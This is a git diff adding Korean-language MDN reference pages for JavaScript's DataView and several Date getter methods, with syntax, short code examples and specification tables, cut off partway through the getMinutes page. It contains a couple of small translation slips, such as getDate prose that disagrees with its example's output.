+<div>{{EmbedInteractiveExample("pages/js/dataview-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new DataView(<var>buffer</var> [, <var>byteOffset</var> [, <var>byteLength</var>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>buffer</var></code></dt>
+ <dd>새로운 <code>DataView</code> 객체의 저장소로 사용할 {{jsxref("ArrayBuffer")}} 또는 {{jsxref("SharedArrayBuffer")}} {{experimental_inline}}.</dd>
+ <dt><code><var>byteOffset</var></code> {{optional_inline}}</dt>
+ <dd>새로운 뷰가 참조할 첫 번째 바이트로의 바이트 단위 오프셋. 지정하지 않을 경우 버퍼 뷰는 첫 번째 바이트부터 시작합니다.</dd>
+ <dt><code><var>byteLength</var></code> {{optional_inline}}</dt>
+ <dd>바이트 배열의 요소 수. 지정하지 않을 경우 뷰의 길이는 버퍼의 길이와 같아집니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 데이터 버퍼를 나타내는 새로운 <code>DataView</code> 객체.</p>
+
+<p><code>DataView</code> 객체는 배열 버퍼의 "인터프리터"라고 생각하면 좀 더 쉽습니다. <code>DataView</code>는 읽기와 쓰기 모두에서 버퍼에 잘 맞도록 숫자를 올바르게 변환하는 법, 즉 정수/부동소수점 실수 변환, 엔디언 등 이진 형식으로 나타낸 숫자의 처리법을 알고 있습니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>
+ <p><code>byteOffset</code> 또는 <code>byteLength</code> 매개변수가 버퍼의 끝을 벗어남.</p>
+
+ <p>예를 들어, 버퍼가 16바이트 길이인데 <code>byteOffset</code>을 8로, <code>byteLength</code>를 10으로 설정할 경우 총 길이 18로서 2바이트를 초과하므로 오류가 발생합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView.DataView")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/dataview/index.html b/files/ko/web/javascript/reference/global_objects/dataview/index.html
new file mode 100644
index 0000000000..3bde0a032c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/dataview/index.html
@@ -0,0 +1,168 @@
+---
+title: DataView
+slug: Web/JavaScript/Reference/Global_Objects/DataView
+tags:
+  - DataView
+  - JavaScript
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>DataView</code></strong> 뷰는 플랫폼의 자체 {{glossary("endianness", "엔디언")}}(바이트 정렬 방법)에 신경 쓰지 않으면서 {{jsxref("ArrayBuffer")}}에서 다양한 숫자 자료형의 데이터를 읽고 쓰기 위한 저수준 인터페이스를 제공합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="엔디언">엔디언</h3>
+
+<p>다중 바이트 숫자 자료형은 장치의 아키텍처에 따라 메모리에 다르게 표현됩니다. {{glossary("endianness", "엔디언")}} 용어 사전을 참고하세요. <code>DataView</code> 접근자는 코드를 실행하는 컴퓨터의 엔디언에 관계 없이 데이터의 접근법을 명시적으로 통제할 수 있습니다.</p>
+
+<pre class="brush: js">var littleEndian = (function() {
+  var buffer = new ArrayBuffer(2);
+  new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
+  // Int16Array uses the platform's endianness.
+  return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true or false</pre>
+
+<h3 id="64비트_정수_자료형">64비트 정수 자료형</h3>
+
+<p>JavaScript는 64비트 정수형 값에 대한 표준 지원을 아직 제공하지 않으므로 <code>DataView</code>도 64비트 연산을 지원하지 않습니다. 필요한 경우 최대 정확도 {{jsxref("Number.MAX_SAFE_INTEGER")}}의 값을 가져올 수 있는 <code>getUint64()</code> 함수를 만들 수는 있으며, 어느 정도까지는 충분할 것입니다.</p>
+
+<pre class="brush: js">function getUint64(dataview, byteOffset, littleEndian) {
+  // split 64-bit number into two 32-bit (4-byte) parts
+  const left =  dataview.getUint32(byteOffset, littleEndian);
+  const right = dataview.getUint32(byteOffset+4, littleEndian);
+
+  // combine the two 32-bit values
+  const combined = littleEndian? left + 2**32*right : 2**32*left + right;
+
+  if (!Number.isSafeInteger(combined))
+    console.warn(combined, 'exceeds MAX_SAFE_INTEGER. Precision may be lost');
+
+  return combined;
+}</pre>
+
+<p>완전한 범위의 64비트를 지원해야 할 경우 {{jsxref("BigInt")}}를 사용하세요. 단, <code>BigInt</code>는 사용자 계층 라이브러리 구현체보다는 훨씬 빠르지만, 가변 크기라는 성질로 인해 JavaScript 32비트 정수보다는 항상 느릴 수밖에 없습니다.</p>
+
+<pre class="brush: js">const BigInt = window.BigInt, bigThirtyTwo = BigInt(32), bigZero = BigInt(0);
+function getUint64BigInt(dataview, byteOffset, littleEndian) {
+  // split 64-bit number into two 32-bit (4-byte) parts
+  const left = BigInt(dataview.getUint32(byteOffset|0, !!littleEndian)&gt;&gt;&gt;0);
+  const right = BigInt(dataview.getUint32((byteOffset|0) + 4|0, !!littleEndian)&gt;&gt;&gt;0);
+
+  // combine the two 32-bit values and return
+  return littleEndian ? (right&lt;&lt;bigThirtyTwo)|left : (left&lt;&lt;bigThirtyTwo)|right;
+}</pre>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("DataView.DataView", "DataView()")}}</dt>
+ <dd>새로운 <code>DataView</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>DataView.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 생성한 함수를 나타냅니다. 초깃값은 내장 <code>DataView</code> 생성자입니다.</dd>
+ <dt>{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>뷰가 참조하는 {{jsxref("ArrayBuffer")}}입니다.</dd>
+ <dt>{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>뷰의 시작점부터 측정한 {{jsxref("ArrayBuffer")}}의 길이(바이트 단위)입니다.</dd>
+ <dt>{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>뷰의 시작점 오프셋(바이트 단위)입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<h3 id="읽기">읽기</h3>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.getInt8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 8비트 정수(byte)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 8비트 부호 없는 정수(unsigned byte)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getInt16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 16비트 정수(short)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 16비트 부호 없는 정수(unsigned short)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getInt32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 32비트 정수(long)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 32비트 부호 없는 정수(unsigned short)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getFloat32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 32비트 실수(float)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getFloat64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 64비트 실수(double)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getBigInt64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 64비트 정수(long long)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getBigUint64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 64비트 부호 없는 정수(unsigned long long)를 가져옵니다.</dd>
+</dl>
+
+<h3 id="쓰기">쓰기</h3>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.setInt8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 8비트 정수(byte)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 8비트 부호 없는 정수(unsigned byte)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setInt16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 16비트 정수(short)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 16비트 부호 없는 정수(unsigned short)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setInt32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 32비트 정수(long)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 32비트 부호 없는 정수(unsigned long)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setFloat32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 32비트 실수(float)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setFloat64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 64비트 실수(double)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setBigInt64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 64비트 정수(long long)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setBigUint64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 64비트 부호 없는 정수(unsigned long long)를 저장합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(16);
+var view = new DataView(buffer, 0);
+
+view.setInt16(1, 42);
+view.getInt16(1); //42
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview-objects', 'DataView')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getdate/index.html b/files/ko/web/javascript/reference/global_objects/date/getdate/index.html
new file mode 100644
index 0000000000..1a5d6f2d5a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getdate/index.html
@@ -0,0 +1,84 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDate
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getDate()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 일을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getdate.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간에 따라, 주어진 날짜의 일에 해당하는 1 이상 31 이하의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getDate()_사용하기"><code>getDate()</code> 사용하기</h3>
+
+<p>아래 코드의 두 번째 명령문은 <code>Xmas95</code>의 값에 기반하여 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">day</span></font>에 2를 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var day = Xmas95.getDate();
+
+console.log(day); // 25
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getDate")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getday/index.html b/files/ko/web/javascript/reference/global_objects/date/getday/index.html
new file mode 100644
index 0000000000..1c936def69
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getday/index.html
@@ -0,0 +1,95 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDay
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>getDay()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 요일을 반환합니다. 0은 일요일을 나타냅니다.</span> 현재의 일을 반환하려면 {{jsxref("Date.prototype.getDate()")}}를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getday.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간에 따라, 주어진 날짜의 요일에 해당하는 0 이상 6 이하의 정수. (일요일은 0, 월요일은 1, 화요일은 2, ...)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getDay()_사용하기"><code>getDay()</code> 사용하기</h3>
+
+<p>1995년 12월 25일은 월요일입니다. 따라서 아래 코드의 두 번째 명령문은 <code>Xmas95</code>의 값에 기반하여 <code>weekday</code>에 1을 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 필요하다면, 요일의 이름(<code>"월요일"</code> 등)을 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}과 <code>options</code> 매개변수를 사용해 얻을 수 있습니다. 이 방법을 사용하면 국제화도 더 쉬워집니다.</p>
+
+<pre class="brush: js">var options = { weekday: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// Monday
+console.log(new Intl.DateTimeFormat('ko-KR', options).format(Xmas95));
+// 월요일
+</pre>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getDay")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html
new file mode 100644
index 0000000000..c1a90e5340
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html
@@ -0,0 +1,88 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getFullYear()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 연도를 반환합니다.</p>
+
+<p>{{jsxref("Date.prototype.getYear()", "getYear()")}} 메서드 대신 이 메서드를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getfullyear.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간에 따라, 주어진 날짜의 연도에 해당하는 숫자.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>getFullYear()</code>가 반환하는 값은 절댓값입니다. <code>getFullYear()</code>는 1000년과 9999년 사이의, 1995년과 같은 날짜에 대해서는 네 자리 숫자를 반환합니다. 이 메서드를 사용해야 2000년 이후의 날짜에 대해서도 호환을 유지할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getFullYear()_사용하기"><code>getFullYear()</code> 사용하기</h3>
+
+<p>다음 예제에서는 현재 연도의 네 자릿값을 변수 <code>year</code>에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getFullYear();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getFullYear")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/gethours/index.html b/files/ko/web/javascript/reference/global_objects/date/gethours/index.html
new file mode 100644
index 0000000000..8095548633
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/gethours/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getHours
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getHours()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 시를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gethours.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 현지 시간 기준 시를 나타내는 0에서 23 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getHours()_사용하기"><code>getHours()</code> 사용하기</h3>
+
+<p>아래의 두 번째 명령문은 {{jsxref("Date")}} 객체 <code>Xmas95</code> 날짜의 시를 <code>hours</code> 변수에 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var hours = Xmas95.getHours();
+
+console.log(hours); // 23
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getHours")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..49be5d7ff7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>getMilliseconds()</strong></code> 메서드는 <code>Date</code> 인스턴스의 밀리초를 현지 시간 기준으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmilliseconds.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMilliseconds()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 현지 시간 기준 밀리초를 나타내는 0에서 999 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getMilliseconds()_사용하기"><code>getMilliseconds()</code> 사용하기</h3>
+
+<p>다음 예제에서는 현재 시간의 밀리초를 변수 <code>milliseconds</code>에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var milliseconds = today.getMilliseconds();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getMilliseconds")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/getminutes/index.html
new file mode 100644
index 0000000000..5cd9c3c99a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getminutes/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>getMinutes()</strong></code> 메서드는 <code>Date</code> 인스턴스의 분을 현지 시간 기준으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getminutes.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMinutes()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 현지 시간 기준 분을 나타내는 0에서 59 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getMinutes()_사용하기"><code>getMinutes()</code> 사용하기</h3>
+
+<p>다음 예제는 {{jsxref("Date")}} 객체 <code>Xmas95</code>의 분을 사용해 변수 <code>minutes</code>에 15를 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var minutes = Xmas95.getMinutes();
+
+console.log(minutes); // 15
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
